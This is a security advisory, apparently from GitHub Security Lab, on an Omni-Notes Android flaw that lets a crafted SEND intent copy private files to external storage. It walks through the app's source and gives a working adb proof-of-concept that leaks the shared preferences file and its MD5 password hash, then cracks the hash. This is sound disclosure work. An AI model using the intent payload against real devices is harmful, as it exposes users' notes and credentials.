Coordinated Disclosure Timeline

Summary

The Omni-Notes Android app has an insufficient path validation vulnerability when displaying the details of a note received through an externally-provided intent. The paths of the note’s attachments are not properly validated, allowing malicious or compromised applications on the same device to force Omni-Notes to copy files from its internal storage to its external storage directory, where they become accessible to any component with permission to read the external storage.

Product

Omni-Notes

Tested Version

6.1.0

Details

Issue: Insufficient path validation in StorageHelper.java (GHSL-2022-065)

The fragment DetailFragment of the Omni-Notes application is used to display the details of a note. Notes can be obtained from externally-provided intents which contain untrusted data.

When receiving an intent with the action android.intent.action.SEND, the method handleIntents is executed in the following code:

DetailFragment:517

// Handles third party apps requests of sharing
if (IntentChecker
    .checkAction(i, Intent.ACTION_SEND, Intent.ACTION_SEND_MULTIPLE, INTENT_GOOGLE_NOW)
    && i.getType() != null) {

    // --snip--

    importAttachments(i);

}

DetailFragment:552

if (!i.hasExtra(Intent.EXTRA_STREAM)) {
    return;
}

if (i.getExtras().get(Intent.EXTRA_STREAM) instanceof Uri) {
    Uri uri = i.getParcelableExtra(Intent.EXTRA_STREAM);
    // Google Now passes Intent as text but with audio recording attached the case must be handled like this
    if (!INTENT_GOOGLE_NOW.equals(i.getAction())) {
        String name = FileHelper.getNameFromUri(mainActivity, uri);
        new AttachmentTask(this, uri, name, this).execute();
    }
} else {
    ArrayList<Uri> uris = i.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
    for (Uri uriSingle : uris) {
        String name = FileHelper.getNameFromUri(mainActivity, uriSingle);
        new AttachmentTask(this, uriSingle, name, this).execute();
    }
}

Note that the URI (or URIs) provided as the EXTRA_STREAM intent extra are passed to AttachmentTask, which is immediately executed. In AttachmentTask.doInBackground, the provided URI is passed to StorageHelper.createAttachmentFromUri:

AttachmentTask:31

public class AttachmentTask extends AsyncTask<Void, Void, Attachment> {

    // --snip--

    public AttachmentTask(Fragment mFragment, Uri uri, String fileName,
            OnAttachingFileListener mOnAttachingFileListener) {
        mFragmentWeakReference = new WeakReference<>(mFragment);
        this.uri = uri;
        this.fileName = TextUtils.isEmpty(fileName) ? "" : fileName;
        this.mOnAttachingFileListener = mOnAttachingFileListener;
    }


    @Override
    protected Attachment doInBackground(Void... params) {
        Attachment attachment = StorageHelper.createAttachmentFromUri(OmniNotes.getAppContext(), uri);
        attachment.setName(this.fileName);
        return attachment;
    }
}

StorageHelper:447

/**
 * Creates a new attachment file copying data from source file
 */
public static Attachment createAttachmentFromUri(Context mContext, Uri uri) {
    return createAttachmentFromUri(mContext, uri, false);
}

/**
 * Creates a file to be used as an attachment.
 */
public static Attachment createAttachmentFromUri(Context mContext, Uri uri, boolean moveSource) {
    // --snip--
    File f;
    if (moveSource) {
        f = createNewAttachmentFile(mContext, extension);
        try {
            FileUtils.moveFile(new File(uri.getPath()), f);
        }
        // --snip--
    } else {
        f = StorageHelper.createExternalStoragePrivateFile(mContext, uri, extension);
    }
    // --snip--
}

The provided URI is then passed to createExternalStoragePrivateFile, which moves the file pointed to by URI to an external storage path.

(Note that in this case moveSource is false, but in both code paths createNewAttachmentFile, which creates the file in the external storage directory, is still called):

StorageHelper:109

/**
 * Create a path where we will place our private file on external
 */
public static File createExternalStoragePrivateFile(Context mContext, Uri uri, String extension) {

    // --snip--
    File file = createNewAttachmentFile(mContext, extension);

    InputStream contentResolverInputStream = null;
    OutputStream contentResolverOutputStream = null;
    try {
        contentResolverInputStream = mContext.getContentResolver().openInputStream(uri);
        contentResolverOutputStream = new FileOutputStream(file);
        copyFile(contentResolverInputStream, contentResolverOutputStream);
    }
    // --snip--
}

StorageHelper.java:225

public static File createNewAttachmentFile(Context mContext, String extension) {
    File f = null;
    if (checkStorage()) {
        f = new File(mContext.getExternalFilesDir(null), createNewAttachmentName(extension));
    }
    return f;
}

With that, it can be seen that an externally-provided URI, which could point to the Omni-Notes internal storage directory, is used without sanitization or validation to copy a file to an external storage directory, where it can be read by any application with permission to read the external storage.

The following PoC demonstrates how to force Omni-Notes to copy an arbitrary file from its internal storage to its external storage:

$ adb shell am start -n it.feio.android.omninotes.foss/it.feio.android.omninotes.MainActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/data/it.feio.android.omninotes.foss/shared_prefs/it.feio.android.omninotes.foss_preferences.xml"

$ adb shell cat '/sdcard/Android/data/it.feio.android.omninotes.foss/files/2022080*.
                                 
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="password">98f6bcd4621d373cade4e832627b4f6</string>
    <string name="password_answer">98f6bcd4621d373cade4e832627b4f6</string>
    ...

Impact

This issue may lead to sensitive information disclosure, by copying Omni-Notes internal files to the external storage. This includes the Omni-Notes database, containing all notes of the user (the impact of which depends on the information the user is writing on them), and also the shared preferences file, which contains the MD5 hash of the app’s password, if it is configured. Example of the shared preferences file after configuring a password test in Omni-Notes:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="password">98f6bcd4621d373cade4e832627b4f6</string>
    <string name="password_answer">98f6bcd4621d373cade4e832627b4f6</string>
    <boolean name="acra.legacyAlreadyConvertedTo4.8.0" value="true" />
    <boolean name="settings_password_access" value="false" />
    <boolean name="acra.legacyAlreadyConvertedToJson" value="true" />
    <string name="password_question">test question</string>
    <int name="acra.lastVersionNr" value="301" />
</map>

echo -n test | md5
098f6bcd4621d373cade4e832627b4f6

CVE

Credit

This issue was discovered and reported by the GitHub CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-065 in any communication regarding this issue.